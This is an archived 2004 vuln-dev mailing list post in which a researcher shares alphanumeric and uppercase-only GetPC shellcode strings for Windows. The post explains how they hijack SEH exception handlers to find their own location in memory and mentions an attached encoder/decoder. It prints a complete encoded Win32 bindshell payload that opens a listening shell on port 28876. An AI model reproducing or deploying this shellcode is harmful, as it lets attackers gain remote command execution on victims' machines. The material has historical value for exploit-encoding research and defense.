Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
Vuln Dev
Alphanumeric GetPC code. (was: GetPC code (was: Shellcode from ASCII)) Jan 28 2004 03:58PM
Berend-Jan Wever (SkyLined edup tudelft nl)
Hi all,

There was a thread about writing ASCII GetPC code about a half year ago on
vuln-dev. I've been away a few months that's why I haven't written this mail
earlier.

I've developed 100% alphanumeric GetPC code for win NT/2K/XP based on work
by Costin Ionescu:
"VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089";
This code uses fs to get the current SEH address and overwrites it with a
new SEH. Then it causes an exception, passing execution to the new SEH. This
SEH can determine the location where the exception took place from the
information provided about the exception by the OS. It then transfers
execution back, passing the location of the code along in %ecx. Should work
100% of the time.

I've also developed a 100% UPPERCASE alphanumeric GetPC code:
"VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861
816"
;
This code will assume the start of the SEH chain is at the top of the stack
and you have not used more then 65536 bytes of stack. (SEH @ 0xXXXXffe4
where XXXX is taken from %esp) The resulting address SHOULD point to the
last SEH in the chain, which will be overwriten and then called by causing
an exeception, just like the "normal" SEH GetPC.
Because this code assumes you have not used more then 65535 bytes of stack
or fucked up %esp and because it hyjacks the LAST SEH, (if an earlier SEH
handles the exception, the code will not work!) this code will not work
under some conditions.

In addition to these GetPC codes, I've written an UPPERCASE alphanumeric
shellcode en-/decoder, source is attached. The decoder works on any IA32/x86
system, regardless of OS/SP unlike the GetPC code which is windows specific.
This will allow you to write OS/SP spanning uppercase alphanumeric
shellcodes like this w32 bindshell (port 28876):
VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A638618
16II
IIIIQZVTX630VX4A0B5HH0B20BBVX2BCBH4A2AC0ACTBCQB0ACAVX4Z8BCJOMNOASBLFFK8B
TBSK
HBTNPKHBWNAMJKHJ6JPJVN6NFBPB0JFCSDCPRFFJVGGCWDSOEFEKKA7GJJNPOJNFMBPBPB0I
XONI
HELA8NNB9A0BPBPFUJ6A0APBPBPKKDRMWKJM7JNLKBPBPB0ASBLBEBUBUB5BTBUBTB5KKHJE
EF3I
WJNHJBPB0BPI8HLACBLB5BEJVDPBPB7NLIHBNBULVB1B5HEKKAXFKNBPKJNLHB0BPB0ASBLB
5HUK
KCMLOJUKIJNNWBPBPBPJULFBQFUBEHUKKG4COH5HLJNNVBPB0BPJ6CVMFFVB0I8ANACKMB5B
EBUC
ECUJ6APA0BPB0CUCECECUCECECECECECULFF4I8HNB5EUCUCUCECUF5H5CUCUCEC4CEKTCEC
5A5C
EIXMOKKARBME0BMJNMRBPBPBPASBLJTKHFTFRFPKKCTKLMXOUJNNABPB0BPMUMEMUKKDQKFM
6BMJ
NOPB0BPBPA3BLBUIHMOKKIVMQD4LCJNB0BPBPBPHUGUK8EDN3K8FUE0JGAPLNDUK8DUB2APL
NACB
LACILATKXF3LXAPPNASOOALOLCQNJAPGLEHBLEWHOICOMEWLNLEKXLUF2APKNHFKHNPKTKHL
ENQA
PKNKXFPKXAPJNOUP5OOBNZ

Thanks:
Costin Ionescu for the idear behind w32 SEH GetPC.
HD Moore for the shellcodes and concepts at www.metasploit.com

Greets: 0dd, #netric, (K)(L)(F) for Suzan

Cheers,
SkyLined

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 8.0 - not licensed for commercial use: www.pgp.com
Comment: Berend-Jan Wever - skylined (at) edup.tudelft (dot) nl [email concealed]

mQGiBD//MyARBADnHLyg2lUBEddhdWAVBxovYU5PetLk2y3HZKguauHS6tT7sNPb
WR4JuRZ5G9uTkgS/JlVl8jhdvAfOhAsXnlSwfBljPSt7ylHkmG/0TUQV14+OVIks
joq80V2yGNT8oRGC/HMk6d20THXFsqiE8pLF5OVdcF0PpTP14OeavvWp2QCg/2Yb
nk1i1VSjOCmPudJ+7klQbI0D/3pRkXQofpYslG7hBaEndDOVFRo9rgF5D4cbmIo0
eH9LE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